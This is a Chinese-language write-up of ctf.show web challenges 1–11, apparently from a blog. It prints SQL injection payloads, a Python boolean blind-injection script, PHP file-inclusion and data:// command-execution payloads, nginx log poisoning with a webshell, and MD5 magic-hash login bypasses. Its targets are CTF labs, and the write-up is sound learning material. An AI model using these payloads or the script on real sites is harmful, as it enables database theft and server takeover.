0x01前言

因为这里的题有些也是比较简单的,所以这里的知识点和做法不会讲述特别多,不会的可以直接看其他文章的题目有写的很详细的

0x02web题目

web签到题

查看源代码然后拿去进行base64编码就可以拿到flag了

web2

最简单的sql注入

image-20241204212546700

进来是一个,页面源代码也没什么可用的信息,那我们就测试一下

先用永真语句打一下

1
username=1' or '1' ='1'--+&password=1

image-20241204214741542

可以看到登录成功了,那我们就拿ctfshow作为账号去打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
判断字段数
password=1&username=ctfshow' order by 3--+回显成功
password=1&username=ctfshow' order by 4--+回显失败
证明是三个字段
判断回显位置
password=1&username=ctfshow' union select 1,2,3--+发现2出现在了页面中,那我们用2作为回显位置去注入
爆破数据库
password=1&username=ctfshow' union select 1,database(),3--+数据库名为web2
爆破表名
password=1&username=ctfshow' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='web2'),3--+有flag和user两个表
爆破flag表中字段
password=1&username=ctfshow' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='flag'),3--+
爆破字段中数据
password=1&username=ctfshow' union select 1,(select flag from web2.flag),3--+

image-20241204215434905

成功拿到flag!

web3

更简单的web题

image-20241204215643879

include文件包含

直接用伪协议做试一下

1
?url=php://filter/read=convert.base64-encode/resource=flag.php

但是没什么,应该是文件名不对

那我们用data伪协议去做

1
data://text/plain,<?php system('ls');?>

image-20241204220259354

读取文件

1
data://text/plain,<?php system('tac ctf_go_go_go');?>

成功拿到flag

这里也可以用input伪协议去做,url传入php://input,然后抓包用post传入命令或一句话木马

或者也可以用日志注入,方法有很多,就不赘述了

web4

image-20241204220645090

和上一题一样的页面,我们先测试一下刚刚的方法能不能做

好吧页面没反应,应该是过滤了,我们试试input,发现出现了error

image-20241204221123622

那就试一下日志注入吧

先看一下服务器的版本

image-20241204221222472

是nginx,那就访问nginx下的access.log,url传参

1
?url=/var/log/nginx/access.log

image-20241204221258839

在UA头传入一句话木马

image-20241204221511113

然后访问并用蚁剑连接

image-20241204221552019

然后在里面找flag就可以了

web5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ctf.show_web5
where is flag?
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

我们只看里面的php代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

代码分析:

ctype_alpha($v1)

在PHP中,ctype_alpha($v1) 函数用于检查字符串 $v1 是否只包含字母字符。如果字符串中的所有字符都是字母(A-Z和a-z),则函数返回 true,否则返回 false

is_numeric($v2)

在 PHP 中,is_numeric($v2) 函数用于检查变量 $v2 的值是否为一个数字或数字字符串。如果 $v2 是一个数字,包括整数或浮点数,或者是表示数字的字符串(比如 "123""3.14"),则函数返回 true;否则返回 false

这里的话就是绕过md5验证,要求v1为为字母,v2为数字,并且v1与v2的md5值相同。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。

v1=QNKCDZO&v2=240610708

这两个的md5值都是0e开头,所以他们的md5值相等

开头为0E(MD5值碰撞)

字母数字混合类型:

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

纯大写字母:

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

纯数字:

240610708

0e462097431906509019562988736854

4011627063
0e485805687034439905938362701775

4775635065
0e998212089946640967599450361168

4790555361
0e643442214660994430134492464512

5432453531
0e512318699085881630861890526097

5579679820
0e877622011730221803461740184915

5585393579
0e664357355382305805992765337023

6376552501
0e165886706997482187870215578015

7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502

7656486157

0e451569119711843337267091732412

web6

image-20241204222916746

是跟前面一样的登录界面

测试一下发现好像有过滤

image-20241204223406033

出现一个sql注入错误,看看过滤了什么

测试后发现过滤了空格,用内联注释绕过

然后发现过滤了–+注释符号,我们换成#

1
username=1'/**/or/**/'1'='1'#&password=1

image-20241204224151511

这下可以了

1
2
3
4
5
6
7
8
9
10
11
12
判断字段数
username=ctfshow'/**/order/**/by/**/3#&password=1字段数为3
判断回显位置
username=ctfshow'/**/union/**/select/**/1,2,3#&password=1还是一样2出现回显
爆破数据库
username=ctfshow'/**/union/**/select/**/1,database(),3#&password=1数据库为web2
爆破表名
username=ctfshow'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#&password=1出现flag和user表
查询flag表下字段
username=ctfshow'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#&password=1出现flag字段
爆flag数据
username=ctfshow'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3#&password=1

成功拿到flag

web7

image-20241205133922227

不知道是啥,先点开看看,点开后发现url多了一个参数id,感觉是sql注入,而且是数字型

试一下闭合单引号

image-20241205160729258

发现没变化,一开始我以为不是sql注入,后面发现是过滤了单引号

这道题还是过滤了空格,试一下永真语句

1
?id=1'/**/or/**/'1'='1'#

image-20241205134649149

这里可以看到是注入成功了的,说明是过滤了单引号的

我们再试一下

1
?id=1/**/or/**/1=1#

image-20241205160944283

可以正常回显,说明这里确实是过滤了单引号

判断字段数

1
?id=1/**/order/**/by/**/4#字段数是3

image-20241205134800958

判断回显位置

1
?id=1/**/union/**/select/**/1,2,3#

image-20241205161104960

可以看到2和3都有回显,那我们用2进行注入

空格用/**/进行绕过,单引号用双引号就行

1
2
3
4
5
6
7
8
9
爆破数据库
?id=1/**/union/**/select/**/1,database(),3#数据库名为web7
爆破数据库表名
?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=“web7”),3#出现flag,page,user三个表
(其实这里的话我一开始不知道是过滤了单引号,我原来的语句是?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=‘web7’),3#然后发现并没有回显,所以才发现是过滤了单引号)
爆破表中字段
?id=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#出现flag字段
爆破数据
?id=1/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),3#

web8

做到这一题,基本可以写简单的注入工具了

还是一样的页面,我们先测试一下

数字型的注入,且单引号,and,union和逗号,那我们的联合注入打不了了,用盲注试试

因为这里的逗号被过滤了,所以我们的盲注语句要稍微改一下

1
2
3
4
这是原来的语句
-1 or ascii(substr((select database()),1,1))='xx'%23
修改后
-1 or ascii(substr((select database())from 1 for 1))='xx'%23

绕过逗号

from for

盲注的时候为了截取字符串,我们往往会使用substr(),mid()。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from for的方式来解决:

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

等价于mid/substr(database(),1,1)

前面的爆数据库就是不说了,把盲注的payload改一下就行了

布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests

#爆破数据库长度
def database_length(url, headers):
databaselen = 0
for i in range(1, 100):
databaselen_payload = f'?id=-1/**/or/**/length(database())={i}#'
response = requests.get(url + databaselen_payload, headers=headers)
if "I asked nothing" in response.text:
databaselen = i
break
print('数据库长度为: '+ str(databaselen))
return databaselen

#爆破数据库名
def database_name(url, headers,databaselen):
database_name = ''
for i in range(0,databaselen):
for j in range(32,128):
database_name_payload = f'?id=-1/**/or/**/ascii(substr((select/**/database())from/**/{i+0}/**/for/**/1))="{j}"#'
response = requests.get(url + database_name_payload, headers=headers)
if "I asked nothing" in response.text:
database_name += chr(j)
print(database_name)
break
print('数据库名为: '+ str(database_name))
return database_name

#爆破表名
def table_name(url, headers,databasename):
table_name = ''
for i in range(0,100):
for j in range(32,128):
table_name_payload = f'?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="{databasename}")from/**/{i+0}/**/for/**/1))="{j}"#'
response = requests.get(url + table_name_payload, headers=headers)
if "I asked nothing" in response.text:
table_name += chr(j)
print(table_name)
break
print('表名为: '+ str(table_name))
return table_name

#爆破字段名
def column_name(url, headers,table_name):
column_name = ''
for i in range(0,100):
for j in range(32,128):
column_name_payload = f'?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name="{table_name}")from/**/{i+0}/**/for/**/1))="{j}"#'
response = requests.get(url + column_name_payload, headers=headers)
if "I asked nothing" in response.text:
column_name += chr(j)
print(column_name)
break
print('字段名为: '+ str(column_name))
return column_name
#爆破数据
def table_data(url, headers):
data = ''
for i in range(0,100):
for j in range(32,128):
payload =f'?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/web8.flag)from/**/{i+0}/**/for/**/1))="{j}"#'
response = requests.get(url + payload, headers=headers)
if "I asked nothing" in response.text:
data += chr(j)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == '__main__':
url = "http://ca996ae0-234f-4906-a89e-eb287b82f1e9.challenge.ctf.show/index.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'
}
databaselength = database_length(url, headers)
databasename = database_name(url, headers,databaselength)
tablename = table_name(url, headers,databasename)
columnname = column_name(url, headers,tablename)
table_datas=table_data(url,headers)

web9

image-20241205173413611

很经典的登录界面,我以为是sql注入,但是后面测试发现打不通

image-20241205173512199

包告诉我看到php可以扫一下目录,那我拿dirsearch扫一下目录

image-20241205175046006

发现了一个robots.txt,访问后有一个文件

image-20241205175208348

下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){#检查密码的长度是否大于10个字符
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

这个是md5加密漏洞

MD5 SQL绕过漏洞

md5(string,raw)函数

在 PHP 中,md5() 函数可以接受两个参数。第一个参数是要计算散列值的字符串,而第二个参数是一个布尔值,用于指定是否返回原始二进制格式的散列值。

  • 当第二个参数设置为 false 或者不提供时,md5() 函数将返回一个32位的十六进制散列值(即字符串形式的散列值)。
  • 当第二个参数设置为 true 时,md5() 函数将返回一个16字节(128位)的二进制格式的散列值。这个二进制格式的散列值不是以文本形式表示的,而是以字节的形式表示。

md5看似是非常强加密措施,但是一旦没有返回我们常见的16进制数,返回了二进制原始输出格式,在浏览器编码的作用下就会编码成为奇怪的字符串(对于二进制一般都会编码)。

我们使用md5碰撞,一旦在这些奇怪的字符串中碰撞出了可以进行SQL注入的特殊字符串,那么就可以越过登录了。

在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop

我们验证一下

1
2
3
4
5
6
7
8
9
<?php
$a='ffifdyop';
$b='129581926211651571912466741651878684928';
$bb=md5($a,TRUE);
echo $bb;
echo "\n";
$cc=md5($b,true);
echo $cc
?>

image-20241205180453136

可以看到这里有or语句

1
2
3
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密

就可以构造出必真的结果。

因为这里限制了长度,所以我们用ffifdyop

image-20241205180831759

直接传进去就可以了

web10

image-20241205182654245

看到是php还是先扫一下目录

image-20241205183351916

没什么可用的信息

然后我们可以看到在页面中有一个取消的按钮,按了之后会下载一个index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}#定义一个函数用来检查传入的参数
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}#检查数据库连接情况,这里对做题没用可以忽略
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}#需要我们输入的username和经过检测函数后的username的长度一样
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}#password也是一样
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);#使用 mysqli_query()函数执行之前构建的 SQL 查询。
if(mysqli_num_rows($result)>0){#如果查询的结果大于0
#使用 mysqli_fetch_assoc() 函数遍历结果集合,将每一行数据作为关联数组 ($row) 获取。
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
#检查输入的 $password 是否与数据库中检索到的用户的 password 字段相匹配。
echo "登陆成功<br>";
echo $flag;
}
}
}
?>

应该是正常的sql注入+绕过,那我们还是先来解析一下这段代码(我直接把注释放在代码中了)

mysqli_query()函数

mysqli_query() 是 PHP 中用于执行 MySQL 查询的函数。

mysqli_num_rows()函数

mysqli_num_rows() 是 PHP 中用于获取 MySQLi 结果集中行数的函数。这个函数通常用于在执行 SELECT 查询后确定返回的结果集中有多少行。它适用于使用 mysqli_query() 函数执行的查询。

\s符号

\s”在正则表达式中代表匹配空白字符的元字符。空白字符包括空格、制表符、换行符等,用\s来表示,可以匹配任意空白字符。

思路:

我们发现很多关键字 $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";都被过滤掉了,那么常规注入就不可行了,而且账户密码都进行了过滤,代码里面输出flag的要求是我们输入的password和数据库中的password是一样的,但是我们啥也不知道,那么怎么办呢?

构建虚拟表with rollup绕过

payload:

1
2
username:admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
password:

with rollup: mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,用来得到group by的汇总信息。要配合 group by 一块儿使用,”group by password with rollup”,简单说一下,就是使用with rollup 查询以后,查询结果集合里面会多一条NULL 记录,这一题利用NULL 和空字符相等,而后获得flag。我们就是要通过with rollup使sql语句查询结果为null,然后不输入pwd使pwd为null就可以使$password==$row[‘password’],通过验证输出我们的flag

web11

image-20241212184937818

看到源码泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

有了上一题的学习,这道题的话我们发现这道题的条件明显比上一题要简单很多

因为我们要让password过滤前后的长度相等,并且要等于session中的password值,所以我们抓个包,然后我们输入应该password的值并且修改session中password的值是一样的就行

这里我们把phpsession的值给为空,然后把密码也改成空就行

image-20241212185958532